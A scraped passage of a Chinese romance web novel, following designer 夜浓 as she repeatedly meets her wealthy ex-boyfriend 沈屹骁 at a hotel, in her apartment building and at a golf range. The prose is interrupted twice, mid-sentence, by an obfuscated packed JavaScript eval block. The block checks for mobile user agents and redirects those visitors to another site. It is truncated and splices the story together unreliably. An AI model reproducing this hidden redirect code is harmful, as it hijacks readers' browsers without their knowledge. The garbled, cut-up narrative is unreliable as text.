夜浓拿出她来之前就想好的说辞:“有天晚上她喝醉了,被一个陌生男人送了回去,后来发现她前男友竟然和那个男人认识。” 喝醉? 阮瑜想到那天晚上在Chris酒吧,不过她走的时候,夜浓还很清醒。 所以她说的到底是真朋友,还是自己呢? 阮瑜有点拿不准:“然后呢?” 夜浓抿了抿唇,“她就在想,会不会是她前男友故意。” “故意?”阮瑜视线追着她开口到现在都垂着的眼睫:“故意什么?” 夜浓沉默了一阵才说出了困扰她大半宿的猜测:“...你说,他会不会是想和她复合啊?” 说完,夜浓抬起她那双茫然的眼睛。 阮瑜心里了然了,“那就要看你和...你这个朋友和那位前男友是因为什么分手了。” 以为夜浓会被她这句话吊出好奇,谁知半晌都不见她开口。 阮瑜心里的好奇倒是先按捺不住了。 “所以你,”她差点又说漏嘴:“你那个朋友想复合吗?” 夜浓眼睛倏地睁圆了:“怎么可能!” 阮瑜被她强烈的反应吓了一跳,默了两秒,她笑出扑哧一声:“说你朋友而已,你这么激动干嘛。” 夜浓这才反应慢半拍的意识到自己刚刚的失态,她忙垂下眼,解释道:“都是玩的不错的朋友......” 认识她好几年了,阮瑜还真没听她说过她有什么朋友。 她将话题绕回去:“你刚刚说是个陌生的男人?” 夜浓点了点头:“嗯。” 阮瑜一边在心里自责,一边又不露声色的提醒:“你那个朋友也是,怎么能让一个陌生男人送回去,这要是出了点意外可怎么办?” 夜浓声音虚虚的:“不是喝醉了吗......” “所以你应该庆幸,幸亏是前男友的朋友,这要是真遇到了居心不良的——” 不等她说完,夜浓就急忙纠正:“是我朋友,不是我。” 一句话就让她心慌成这样,阮瑜都懒得拆穿她:“是是是,你朋友!” 夜浓已经心虚的有些坐立不住,但又不好拔腿就走,索性岔开话题:“晚上聚餐你去吧?” 今天她做东,阮瑜自然是要去捧她的场,“当然去了,不过我下班得先去老瞿那一趟,八点前应该能赶回来。” 在阮瑜那边吃了一个心不在焉的午饭,回到自己办公室没一会儿,曲姚敲门进来。 “夜总监,这是铂悦府会所的入会卡。” 早上出门的时候,夜浓向管家打听了私家会所里的一些情况。 这才知道,每位业主都会有一张会所的入会卡,是交房时一并交到业主手里的,租户如果想进入会所,需要向业主索要那张卡。 到公司后,夜浓就把这事交代给了曲姚,没想到她办事效率这么快。 “房主说,会所是自费的,”曲姚问:“需要我去帮你充值吗?” 夜浓拿起卡前后看了两眼:“不用,回头我自己去就可以了。” “好的,另外晚上聚餐的酒店,我选了三个地方,等下发给你看看。” 几年未回来,夜浓对京市当下的酒店已经不算了解:“你拿主意吧,环境好点,保证大家都能吃喝尽兴就行。”” “好的。” 临近下班还有一个小时,夜浓收到了曲姚发来的酒店信息。 扫一眼名字,夜浓眼波一顿。 「凯旋国际」 是东沈集团旗下的酒店。 住在他沈家开发的楼盘里就算了,找个酒店都能撞上。还真是走到哪都逃不开他沈家的五指山。 若不是快下班了,夜浓真想让曲姚重新选个地方。 * 「凯旋国际」在全国一共有二十多年分店,其中京市就有三家。 因为年末会有一次优秀会议型酒店评比,所以近几个月,沈屹骁逢周五都会去巡场。 不过今天因为有其他公事耽搁,全部忙完已经是下午五点。 关昇见他摘掉眼镜捏着眉心,便给他泡了一杯花茶:“沈总,酒店还去吗?” 沈屹骁轻“嗯”一声:“半小时后出发。” 关昇便知道他是要休息一会儿:“好的。” 办公室门无声合上,沈屹骁松了松领带,去了沙发里。 连着两天晚上没怎么睡好,躺下没两分钟他就睡着了。 门口,关昇一直没走,笔直站着,时不时低头看一眼时间。 倒不是他着急,而是他深知沈屹骁时间观念特别强,说半小时,那多过一分钟敲门都是他的失职。 时间一分一秒过去,眼看时间精准过去三十分钟,关昇敲了敲门,等了等,不见里面有应声,关昇短暂迟疑后又“叩叩”敲了两下,但是里面还是没有半点声响。 疑惑间,关昇轻拧下右半扇的门把手。 门往里敞开间,见沈屹骁依旧躺在沙发里,双手交叉压在腹部,睡得很熟。 关昇以前也遇到过这种情况,抱着不忍心吵醒他想让他多睡一会的好意,但结果却是落沈屹骁一记冷视。 关昇走到沙发前,弯腰间,他喊了声:“沈总。” 沈屹骁眉心皱了几秒才缓缓睁开眼。 “沈总,”关昇温声提醒:“已经五点半了。” 沈屹骁这才坐起身。 见他一脸倦意,关昇问:“要给您冲杯咖啡吗?” “不用。”沈屹骁起身走到办公桌前,端起关昇之前泡的那杯已经凉掉的花茶喝了大半,“走吧。” 离公司最近的凯旋国际,开车过去只要二十分钟。 虽说周五巡场已成惯例,但具体几点到又或者先去哪一家,沈屹骁从不提前打招呼,所以就连关昇都拿不准。 车子驶出车库,沈屹骁落下半截车窗:“右拐。” 这时,关昇拿在手里的手机屏幕亮了。 【关秘书,沈总今天还来吗?】 是距离公司最近的一店总负责人乔总。 关昇的回复很简短:【惯例。】 车子右拐后驶过两个红绿灯,关昇顺着路线猜到沈屹骁应该是想先去二店。 结果没两分钟,后座传来—— “左拐,去一店。” 舍近求远去了靠近翡夏湖的一店。 果然不能随便揣测老板的心思。 这时,关昇手机再度亮起,但他连看都没看,视线快速扫过后视镜,见沈屹骁依旧偏脸看着窗外。 京市的夜景,每一点霓虹都透着古韵的厚重。 坐落在翡夏湖边的凯旋国际酒店,夜浓还是上大学的时候来过几次,当然,都是沈屹骁带她来的,跟在他这样一个太子爷身边,住的自然是最贵的总统套房,吃的也是主厨亲自掌勺的特配菜。 是她过去二十年从未有过的体验,本该属于浓墨重彩的回忆,可如今再回想,却记忆稀疏的没留下多少印象。 夜浓下班后就和同事一块儿过来了。 不到三十个人,定在一个容纳两张二十人圆桌的大包厢。 阮瑜来的时候,夜浓正在和几个同事打牌。 见每个人面前都有一些零钱,阮瑜笑了声:“来真格的呀?” 夜浓把手里的牌给她:“给你玩一会儿?” 她手里是一副好牌,阮瑜欣然接过。 趁着这空挡,夜浓去了包厢内的洗手间,门一开就闻见了浓浓的烟味,味道重的她一连打了两个喷嚏。 这几年不知怎的有了过敏性鼻炎,遇到味道重的就会喷嚏不止。 夜浓出了包厢,左右看了看。 虽然住过这里的顶层总统套房,但下层的宴客区,夜浓却没来过。 夜浓便同门口的工作人员打听走廊里的公用洗手间位置。 “女士,直走到尽头,左手边就是。” “谢谢。” 她今天穿的一身是莫兰迪色系,饱和度偏低的粉色衬衫,灰色阔腿裤。优雅知性且不张扬。 人的视线会下意识落到右手边。 细高跟鞋不落声响的踩在厚实的地毯上,夜浓一边往走廊尽头走,一边看着右侧墙壁上的壁画。 从洗手间再出来时,走廊里已不是之前那般空荡,多了几道男人的背影。 夜浓落后他们五六米远,目光平视间,能看见为首的一个男人的身量明显高于其他人,颇有种鹤立鸡群的既视感。 夜浓并没有刻意去打量,只是目光直视间,那道背影自然而然的落于她眼底。 越来越熟悉,直到那人侧过脸露出一半侧脸—— 夜浓双脚倏地停在原地。 是该说太过巧合吗? 竟然又碰到他。 想起昨晚目光相撞时的尴尬,夜浓下意识转过身,也就是那一瞬,沈屹骁扭头看了眼。 厚实的地毯几近无声,直到再次走到走廊尽头,夜浓才停住脚,再回头,走廊已空无一人。 心里有一种不是心虚的心虚,夜浓意识到这一点时,好笑一声。 光洁如镜的银色电梯门,倒映出沈屹骁微拢的眉心。 是她吗? 但是没看见正脸,只是背影让他有种恍惚感。 “今天这层有几厢客人?” 站于他斜右方的是酒宴部负责人张经理,若是平时他也不会在意楼层客人,但今天是周五,为了能准确应对沈屹骁所有可能提到的问题,准备工作自然做的比平时更全。 张经理忙颔首应道:“回沈总,一共被定出六个包厢,其中两个大包,四个中包,都是用于公司宴请。” 沈屹骁沉默几秒才问,“公司名义订的?” 张经理心里疑惑,巡场至今,他从未见沈屹骁有过如此具体的过问,无法立即给出答案,他声音露出紧张:“这个我没有细问,稍等,沈总,我来——” 然而后面的话却沈屹骁打断:“不用了。” * 曲姚选的这个包厢,窗景朝北,因此包厢的最低消费不及窗景朝南的高。 夜浓体会她的用意,中途和她碰了几杯,夸她刚毕业不过两年,但办事效率不错。 期间,她也去了旁边男同事较多的那一桌,本想依旧饮料代酒,奈何没能周旋过去。 两天前的酒醉让夜浓对酒还心有余悸,好在那帮男同事并没有过多的劝酒,三四盅白酒后,夜浓回到刚刚的座位里。 夜浓对白酒没有招架之力,没一会儿的功夫,脸上的红就漫到了锁骨。 曲姚招手包厢内服务生要了一杯柠檬汁。 “夜总监,我今晚没喝酒,结束送你吧?” 夜浓朝她点了点头:“那麻烦你了。” “没事。” 一顿饭吃完,时间已过九点。 阮瑜走过来:“我在Chris订了位置,你也一块儿吧?” 夜浓摇了摇头:“我就不去了。” 她脸上红晕依旧明显,阮瑜忍不住揶揄一声:“你这酒量,还真是怎么练都练不上去。” 周五最适宜放纵,除了夜浓和曲姚,所有人都跟阮瑜去了酒吧。 夜浓把手钥匙递给曲姚:“你也跟他们一块去吧,我打车回去就行了。” 曲姚却连连摇头:“我男朋友不喜欢我去酒吧那种地方。” 夜浓轻笑一声:“管得这么严啊?” 曲姚略有些不好意思:“他以前在酒吧做过经理,可能是心有余悸吧。” 是啊,心有余悸。 夜浓踩下台阶:“只身一人的话,还是尽量少去酒吧。” 习习凉风,将酒意吹卷上头,让人思绪有些繁杂混乱。 夜浓偏脸看向窗外,点点霓虹里,又想起昨晚那场尴尬难言的‘偶遇’。 夜浓将车窗上落到只留了一道缝:“铂悦府房子的租赁合同,是你办的吗?” 曲姚摇头:“是Alma,不过我那有一份合同复印件。” “租期多久?”夜浓问。 “一年。” “付款方式呢?” “是一次性付清的。” 那就不好退了。 夜浓吐出一口无奈。 反正她早出晚归的,以后再尽量少在小区里溜达,估计昨晚那种情况也碰不到几次。 一阵自我宽慰后,夜浓闭眼眯了一会儿。 谁知这一眯就真睡着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578480|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 铂悦府,曲姚是第一次进来,好在她上午和业主联系的时候,特意看了合同。 车子停到车库,曲姚晃了晃夜浓的肩膀:“夜总监,到了。” 夜浓蓦然睁眼,看了眼挡风玻璃外,她才回神一笑:“我怎么还睡着了。” 曲姚将车熄火后,钥匙还给她:“快上去休息吧,周一见。” 时间已经不早了,夜浓问:“你家离这远吗?” 曲姚笑了笑:“这旁边就有地铁,直达很方便的。” 夜浓点了点头:“那就好,回去注意安全。” 电梯门两侧是透光的皇家白玉石,被头顶繁复的水晶吊灯折出耀眼的光亮,几乎瞬间刺下眼底的困倦。 进了电梯,刷卡后,电梯门缓缓合上。 夜浓歪了歪脑袋,后发想起从住进来之后,还从没在这栋楼里见到过其他业主。 也是,这么寸土寸金的地段,买得起这房子的,想必手里都不止一处房产。 “叮”的一声,电梯停落,银色电梯门缓缓向两边敞开时,外面突然传来男人声音—— “忙,没空。” 夜浓双脚顿了一下。 六栋是一层两户,难道是对面1201的业主? 抬脚间,又听男人说—— “别来,不在。” 说话精简,声音略沉。 浅浅一点好奇,让夜浓迈出电梯门时,下意识往向左前方看去。 这一看不要紧,和那双几乎同时扭头看过来的视线一对上,夜浓眼睛倏地睁圆了。 刚刚在心头闪过的猜想瞬间被她忘到脑后,第一反应就是—— “你跟踪我?” 沈屹骁自上而下将她打量一个来回,最后视线停留在她满是绯色的脸上。 在电梯门缓缓合上的机械声里,夜浓仿佛听见他喉咙深处溢出一声低笑。 好像在笑她刚刚说的话有多么荒诞。 可视线扫过他脸,却不见有丝毫表情,黑漆漆的一双眼,凝在她脸上,冷然的目光里,比昨晚多了几分探究。 好像刚刚那句话本该是由他说出来似的。 夜浓脸上渐渐现出几丝难堪,就在她眼睫轻颤,将视线收回时,听见他说—— “这位女士,如果你觉得我有跟踪你的嫌疑,大可以去物业查查,我购入这套房子的具体时间。” 似乎是完全没想到他会这么称呼自己,夜浓一时愣在原地。 但是她眼里的诧异只停留了很短的时间。 昨晚看见她,满眼漠视,今天再见,直接称她为「这位女士」。 看来这人摆明是要跟她装不认识。 行,既然这样,那就当陌生人好了。 夜浓压下眼底情绪,扭头,回他一记不失礼貌的假笑:“这位先生,我可没那么闲去打听你的私事。” 说完,她双脚一转,背身走到1202门口,“滴答”一道解锁声还未完全落地,“砰”的一声关门声就响彻电梯间。 夜浓背身站在门后。 想笑,但更想把包摔他脸上。 他沈家家大业大,真要不想看见她,大可以换个地方。 摆那张臭脸给谁看,说那种话让谁难堪? 回来不过短短一个星期,碰见他的次数,一个手都要数不过来。 这事搁谁身上不会多想? 她有那种反应不应该? 可是他刚刚看她的眼神,好像这一切都是她的故意靠近。 就像她刚刚说的,她有那么闲吗? 一个深呼吸后,夜浓脱掉高跟鞋径直去了卧室。 水汽从浴室里渐渐弥漫出来,周围的空气一点一点被潮湿笼罩。 愈渐深浓的雾气开始掠夺人的氧气,让人心脏有一种呼吸不畅的失重。 夜浓站在花洒下。Hansgrohe的五金龙头被她手指轻轻一压,水声骤停。 柔和的光线里,朦胧水雾像一层薄纱,包裹着她潮湿的身体,凝于发尖的水珠,顺着她的后背肌理,滚落,滑过她后腰一处紫色半翅纹身。 洗手池上方的镜子有自动除雾功能,但来不及化掉上面的厚重水雾。 夜浓抬手一抹,镜子里倒映出她沁着水珠被水洗净的一张脸,经热气蒸腾,像是微施粉泽。 她看着镜子里的自己,脑海里突然想起六年前的那个夏天。 当时全校都在传沈屹骁要追她,若不是流言传得太甚,夜浓根本不会关注他,也正因为刻意注意才发现,他这个集万千关注的沈家大少爷竟然也会出现在食堂、图书馆、超市,甚至水房,在她经常出现的那些地方,她常常一个抬头就能看见他,可是他却从未给过她一个眼神,好像压根就不知道她这个人的存在。 那些流言愈传愈烈,甚至周末她去看场电影回来晚了,第二天都要被传她被他带出去过夜。 本来夜浓是不想理那些谣言的,因为打小她就因为自己长了张出众的脸,走到哪都能惹来流言是非,时间长了,她也就习惯了,但现在那些莫须有的谣言已经严重影响了她生活。 于是她挑了一个晚上,在男生宿舍楼下拦住了沈屹骁,好言好语说明来意,希望他能破掉那些谣言,结果他却好笑一声,还说:这位同学,我认识你吗? 时间过去太久,很多记忆都已经变得模糊,可当时他好笑又带着几分探究的眼神,夜浓却记得清楚。 昨晚见到她,他眼底的漠视,今晚听见她那句话,他嘴角的荒诞,简直和当年一模一样。 * 虽说东沈集团开发的楼盘,沈屹骁都会给自己留一两套,但也不是每套他都住过,就比如这六栋,今天是他第一次进来。 除了对楼栋或楼层号有偏执喜好外,房型或大小,他都没什么所谓。所以进门后,他只大致扫了眼就转脚去了主卧。 脱掉的西装外套被他丢在床尾凳上,继而是西装马甲,领带从颈间抽掉的时候,耳边突然响起那声「这位先生」。 他嘴角一提,笑了声。 还真以为五年时间把她那小野猫的性子给磨平了呢。 斜纹领带被他扔在了西装马甲上,他一边解下腕表一边往卫生间走。 脑海里又定格出那张满是绯色的脸。 又喝酒。 酒量这么差劲,还偏偏去逞那份能。 那晚在Chris酒吧发生的事,到现在还让他心有余悸着,可「那位女士」倒好,转脸就给忘到了脑后。 衬衫纽扣一颗颗解开,露出他纹理紧实的胸膛,也因他脑海里的画面让他在吐息间,胸膛起伏明显。 快速冲了一个澡后,沈屹骁套上浴袍出了卧室。 夜色深浓,星光稀疏。 阳台未封,凉风阵阵。 在落地窗边的茶椅里坐下后,沈屹骁脚尖一勾,将旁边的一只专门放脚的矮凳勾过来。 他坐着的方向,正对西面,轻轻一个抬眼就能将西户的阳台尽收眼底。 12. 十二章 四下静悄悄的,能听见风声。 睡意朦胧时,“咔哒”一声响,划破耳边寂静。 沈屹骁忽地掀开眼,看过去,原本透亮的阳台已经黑漆漆一片。 环于身前的两臂松开,沈屹骁下意识去看左手腕上的时间,这才发现手表已经被他摘下,手机也不在身边,他撂下腿,从椅子里起身回了客厅。 不过一个眯眼的功夫,竟然已近十二点。 回到卧室门口时,沈屹骁突然站住脚,他看向正对床尾,皮雕雅致的背景墙。 东西两户...... 主卧好像共享一面墙。 凝眸间,他嘴角不自觉地扬了几许。 铂悦府的房子是精装修,每户房子的家具家电都一样,躺在回弹暄软的意大利品牌Henge卧床上,沈屹骁双腿交叉,姿态松散地靠着软□□雕床背。 手机屏幕上有四条未读消息,全是被他视为「闲人」的齐冀发来的。 【哥,你今天是不是心情不好?】 【是我哪句话说错了吗?】 【哥,上次你都答应要教我高尔夫了,不能说话不算数!】 【哥?】 沈屹骁没回他,这要是回了,短信就会接二连三没完没了。 他退出消息界面,将手机锁屏,撂到床头柜上后,他抽了张湿巾擦了擦手。 这些都是他临睡前的一些小习惯,做完这些,他躺下身。 视线从天花板缓缓往后移,最后落到床背上方的背景墙上。 明后两天是周末,以前的周末,她不喜欢在寝室里窝着,天热的时候去蹭咖啡店的冷气,天冷的时候又会去蹭商场里的暖气。不冷不热的春秋,她要么是骑着她的那辆山地车,沿着路边漫无目的地骑;要么就随意找一个公园,往草地上一躺,一躺就是半天。 现在呢,这些习惯还在吗? 都说一个习惯的养成和改变只需要二十一天,但这句话放在夜浓身上,受用度不高,又或者说,她养成一个习惯需要的时间远超过二十一天,但改变一个习惯,却是很短暂的。但是归咎结底,都与环境脱不了关系。 一个人的生活,无趣却也有趣。 因为做什么都是自己,但又可以想做什么就做什么。 就比如现在,做好了明天睡一个懒觉的打算,所以这一晚,她可以随心所欲熬到任何时间。 虽说雾色香水的设计方案不用她亲手,但她却很感兴趣,可能是之前没有接手过这样的项目,也可能是那位祁总的爱情故事很吸引她。 总之她没有放过脑海里的灵感,只用了很短的时间,就将那天在雾色香水店里迸射的两个灵感手绘了出来。 之后,她去了餐厅,从冰箱里拿出两天前买回来的一瓶白朗姆简单调了杯莫吉托回到卧室。 一部电影,两杯自调的鸡尾酒,就这么度过了一个悠哉自在的夜晚。 * 昨晚齐冀没有等到沈屹骁的短信回复,今天一大早就去了铂悦府。在十二栋楼下摁了好一会儿的门铃,没人,他直接来这儿堵人了。 看见他时,沈屹骁愣了一下:“你怎么来了?” “找你啊!” 沈屹骁以前也没觉得他这么缠人,最近可好,跟块膏药似的,甩都甩不掉。 “今天要去公司。”他随口找了个借口。 齐冀拦住他面前的路:“你少来,我早上给你家关秘书打电话,他说他今天带女儿去游乐园。” 沈屹骁:“......” 见他不说话,齐冀坏笑一声:“还是说,你今天是有别的事儿?” 沈屹骁一双眼,不冷不热地看着他:“我有没有事,需要跟你汇报?”说完,他双脚一转,越过齐冀肩膀。 齐冀小碎步地跟在他身后,软缠硬磨:“今天天不热,适合打球,你就去呗!” 他说的是梦蝶山。 沈屹骁步子不停,“找你哥去。” “他这段时间忙的我都见不着他人。”说完,齐冀两个大步迈到他身前,双臂一伸,拦住他路:“你就给句痛快话,到底教不教,不教的话,我发誓,以后再也不烦你。” 居然还拿种话来威胁他。 沈屹骁好笑一声,“那我可真是求之不得。” 虽说齐冀就比他小两三岁,但心就跟个小孩子似的,特别是在沈屹骁面前,扮可怜扮柔弱对他来说,手拿把掐。 “我就知道,你从来都没把我当弟弟。”他双手放下来,脸埋低不说,声音也焉了:“当初为了你,我学都不上——” “行了。”沈屹骁打断他,一个无奈吐息:“上午有事,下午过去。” 上一秒的恹恹无力顿时就消失殆尽,齐冀把脸一抬,两眼放光:“真的?” 沈屹骁懒得把话说第二遍:“回去等着。” 本来还想说在这等他一块走,现在目的达到,齐冀也不敢再得寸进尺。 “行,那你去的时候给我打电话!” 沈屹骁朝他挥了挥手,见他一溜烟地跑了,沈屹骁站在原地,一直目送他跑没影才转身往六栋去。 * 昨晚夜浓睡得迟,今天早上七点她醒来一次,去了趟卫生间回来又睡了一个回笼觉,叫醒她的是阮瑜打来的电话。 “干嘛呢?” 回笼觉睡得人脑袋昏昏沉沉,夜浓唔了声:“还没起。” “都快十一点了,还没起,你昨晚不是老早就回去了吗,怎嘛,是背着我还有别的约会?” 夜浓轻笑一声:“我在这边连个朋友都没有,和谁约会?” 阮瑜“咦”了声:“那上次你说的那个朋友,是香港那边的?” 经她这么一提,夜浓眼里的困意顿时就消了大半,“不是——” 阮瑜可不想听她的解释,“行啦,大周末的,你就准备这么睡过去呀?” 夜浓抓了抓被她睡得蓬乱的头发,坐起身:“又没其他的事,就当休息了。” “昨天不是说今天来我这的吗?正好这都中午了,过来吃饭。” 夜浓说了声行:“ 那你把位置发我。” 电话挂断,还没来及下床,阮瑜就把位置发来了。 上面显示着小区名字:梦蝶山。 梦蝶山环湿地公园而建,容积率仅0.3,人均享700棵植物。整个小区以别墅为主,另有六栋单套面积超六百平的平墅,是东沈集团花重金打造出来的一处高端豪宅,这种以绝对的土地占领稀缺的景观环境的奢华住宅,即便是放眼全国,也是凤毛麟角。 夜浓到梦蝶山的时候已经一点。 阮瑜跟物业打过招呼,所以夜浓报出楼栋号的时候,物业没有让她登记直接放行。 隔着车窗,目光所及皆是绿色,让略有萧条的深秋都染上了春的翠滴。 阮瑜就等在别墅门口,看见夜浓那辆从香港托运过来的白色越野顺着蜿蜒车道缓缓开近,她抬手招了招。 第一次登门,夜浓自然没有空手,礼物是来的途中从红酒行里精挑细选的一瓶红酒。 瞧一眼包装就看出是自己钟意的牌子,阮瑜挽住她胳膊:“破费啦。” “跟我还客气什么。” “怎么样,”阮瑜挽住她:“这里环境还不错吧?” 何止是不错。 夜浓伸出一根手指头:“有没有这个数?” 阮瑜抿唇笑:“具体多少我也不知道,反正我给老瞿的那张卡肯定不够。” 夜浓“哦”出一声尾音:“原来是瞿总的手笔啊~” 阮瑜也不反驳:“是他一直怂恿我来京市的,没点诚意像话吗?”说到这儿,她又唏嘘一声:“本来以为他在这儿混的有多风生水起呢,谁知买个房子左右不知托了多少关系。” 夜浓却轻笑一声:“瞿氏可是京市媒体界的半壁江山啊!” 阮瑜却撇嘴:“比得上人家沈氏吗?” “沈氏?”夜浓皱了皱眉:“哪个沈氏?” “东沈集团啊,这个房子就是东沈开发的,哦对了,和你现在住的那个铂悦府是一个开发商。” 夜浓双脚一顿,愣在原地。 阮瑜歪头看她,拿手在她面前虚晃一下:“怎么了?” 夜浓眼睫一颤,忙摇了摇头:“没什么。” 她现在已经不知道该用什么词来形容她复杂的心情了。 只能说他沈家家大业大,让她这种明明不是同圈层的人也能频繁地听见、撞见。 想到昨晚自己说的那句:你跟踪我? 夜浓突然理解他当时嘴角的荒诞了。 是挺荒诞的,她夜浓何来那种本事,让他一个沈家继承人跟踪她! 哦,不对,早两年他父亲去世,他现在已经是掌权人了。 阮瑜一边带她穿过别墅院子里苍翠欲滴的花间小径,一边同她说。 “知道我为什么执意要买这里的房子吗?” 夜浓扭头看她。 “房子从来都不仅仅只是一处居所,它更是你的名片,代表你的圈层,我以前跟你说过的,你所在的圈层会决定你拥有什么样的人脉,以及你在这个社会中所对应的资源分配。” 阮瑜停住脚:“你漂亮又聪明,应该利用自己的优势获取更优质的圈层。” 的确,只要她愿意,完全可以不用努力就可以获得更好的生活。 但她不愿意。 夜浓垂眸笑了笑:“可能是自己越来越安于现状了,感觉自己现阶段这种生活挺好的。” “你这么说,”阮瑜伸手点在她鼻尖:“是因为你没机会接触更好的。” 她怎能没接触过。 正是因为接触了,才知道用自己双手获得的物质更踏实。 如果现在还有人像当初那样对她,她一定不会忍着眼泪,问一句:这是他的意思? “这边有高尔夫练习场,都是按照球场模式设计,环境很不错,等会儿吃完饭咱们去玩一会儿。” 夜浓回过神来,皱起眉头:“我都好久没玩了。” 阮瑜挽她进了客厅:“就是好久没玩了才要去练练啊!” / 两点多钟,阮瑜接了通电话,听了她简短几句,夜浓等她电话挂断问:“瞿总也来了?” 阮瑜点头:“他今天约了喜雨传媒的汪总打球。” 夜浓很识趣:“那一会儿我就先回去了。” “回哪去?”阮瑜抓住她手:“他们又不是来我们这儿打,我就是给个东西给老瞿,完了他们就走了。” 说完,阮瑜拉着她手:“咱们先上楼把衣服换了,等下就不用回来了。” 阮瑜喜运动,因此各种运动装她都有。 “要不要试试这套?”阮瑜从衣柜里拿出一套浅蓝菱格毛衣加白色百褶裙。 学院风可从来都不是阮瑜的风格,夜浓惊讶了几秒:“你该不会特意给我准备的吧?” 阮瑜抿唇笑着,指着衣柜里的另外几套:“还有这套、这套,你还没来的时候,我就给你准备好了。” 阮瑜购物欲非常强,给自己买的同时也会给夜浓带上几件。习惯了,夜浓也就不跟她见外。她指着阮瑜手里的那套学院风,摇头:“这个太嫩了。” 就知道她不喜欢这种装嫩的,阮瑜挂回去,拿出另一套:“那就试试这身。” 是一套暗粉色的迪桑特,价格不算贵,夜浓锻炼一贯穿的牌子。 她伸手接过:“就这套吧。” 两人换好衣服出门的时候,一辆黑色轿车刚好在门口停下。 夜浓在香港见过瞿奕几次,相貌堂堂,一身的儒雅气质,再加上身材管理得当,看着要比他实际年龄年轻不少。 夜浓礼貌朝他颔了颔首:“瞿总。” “你好。”瞿奕也朝她笑了笑。 阮瑜将手里的文件袋给他后,车后座下来一个一身休闲便装的男人。 “阮总。” 阮瑜抬头,朝对方弯了弯唇:“汪总,好久不见啊。”一声招呼后,见对方走到自己面前,阮瑜便给夜浓介绍:“这是喜雨传媒的汪雨苼汪总。” 在对方看过来的视线里,夜浓伸出手:“汪总,你好。” 似乎是夜浓的长相出乎了他意料里的美,他伸手浅浅交握时,眉梢都沾了愉悦,“刚刚就听瞿总说,阮总今天家里有位美女做客。” 听罢,阮瑜看了眼瞿奕,盈盈笑意里,她话里有话:“夜浓可不单单只是美女,她还是我们公司的设计总监,也是我的好朋友。” 汪雨苼眉梢一挑,“夜总监,是我失敬。” 夜浓唇角牵出淡淡的弧度,不卑不亢地朝他莞尔:“哪里。” 汪雨苼一双眼似乎融不进其他,只有面前的美人:“夜总监以前可有打过高尔夫?” 夜浓点了点头:“以前玩过,但是很久没碰了。” 闻言,汪雨苼眼底笑意渐深:“正好一会儿我要和瞿总去玩一会儿,夜总监要不要一起?” 在夜浓看过来的视线里,阮瑜笑着圆场:“汪总,我们这球技,还是不要在你面前献丑了。” “阮总可真是谦虚了,我可是总听瞿总夸你的球技。” 就在阮瑜朝瞿奕使眼色里,汪雨苼突然想起来:“听说这梦蝶山也有球场,环境也很是不错,不如我们就在这边玩玩?” 阮瑜是真心不喜欢这位汪总,“汪总,这边可没有18洞72杆的,打不了比赛。” 这回,汪雨苼直接不说话了,视线看向瞿奕。 瞿奕是两边都不想得罪,索性把选择权给了夜浓:“夜浓,怎么样,要不要一起玩一会儿,就在这个小区里。” 夜浓自然是不想阮瑜为难,笑了笑:“您可别这么说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这边一说完,瞿奕就低头在她耳边亲了亲:“明天晚上有没有时间去我那?” 两人一阵低语里,汪雨苼知趣的去了隔壁的打位。 刚好夜浓挥出一杆。 瞿奕站在她身后,从上到下打量着她挥杆后的身姿的同时,心里猜着她的年龄。 阮瑜今年三十五六,和她做朋友,想必年纪不小,可面前这位,气质虽沉敛,但看上去年纪却不大。 二十四五? 汪雨苼皱了皱眉,太年轻了,正常来说,能坐上上市公司总监的位置,少说也要三十往上。但是分公司的话,资历或许没那么高的要求,要么就是靠着阮瑜这层关系。 夜浓回过头来的时候,见他眉心锁着,所有所思。 “汪总?” 很清丽的一声,汪雨苼恍然回神,见她盯着自己再看,汪雨苼嘴角一提。 “夜总监刚刚那一杆,挥得很是漂亮。” 她挥杆姿势是不错,但也只是徒有其表。 就在夜浓以笑置之的时候,汪雨苼又来了一个转折:“不过你刚刚的打法很容易拉伤。” 这句话莫名觉得熟悉,以前的确是有人这么说过她,甚至每打一次都要说一次。 夜浓弯了弯唇:“我已经很久不打了。” 她刚一说完,汪雨苼就走近她一步,接过了她手里的球杆。 看出他要亲自示范,夜浓自然而然退到一边。 汪雨苼双手握住球杆,给她讲解了起来:“两脚要与肩同宽,手臂自然下垂,一定要保持下盘稳定。” 说到这里,他却没有击出杆头下的球,而是把球杆递回夜浓:“夜总监,你再试试。” 夜浓低头看了眼他手里的球杆,再抬眸,接到汪雨苼双眉微挑的眼神,她短暂犹豫后,伸手接过。 也就是那时,间隔四个打位的地方,沈屹骁双脚蓦然一顿。 齐冀快他一步的双脚也跟着一停,扭头,见他双眼微眯,目光紧锁。齐冀又转回头看了眼,但是没瞧见异常,再回头,他一脸茫然:“哥,你看什么呢?” 沈屹骁视线追着夜浓从一个男人手里接过球杆,追着她朝对方露出莞尔一笑。他目光闪过一丝若有似无的凉意,但转眼间又消失不见。 “那个穿粉色衣服的,”所有情绪被他压在眼底,只听他音色渐沉:“身后站的男人是谁?” 齐冀再度扭头看过去,寻到后辨认了好几秒才“哦”了声:“喜雨传媒的,”他一边嘶着声,一边回想:“上次我哥带我去吃饭,他也在,叫汪什么来着?” 对方姓甚名谁不重要,重要的是—— 夜浓手握球杆,一边调整站姿,一边心里警惕着,余光里,那双黑色的双脚转了方向,她眉心一拧。 前倾的双臂就要收回来时,汪雨苼已经站在了她身后。 “保持这个姿势不要动。” 夜浓已经猜到了他接下来的动作,自然不想配合他,然而汪雨苼却一只手压住了她肩膀。 “放松,忘了我刚刚跟你说的,手臂要自然下垂。” 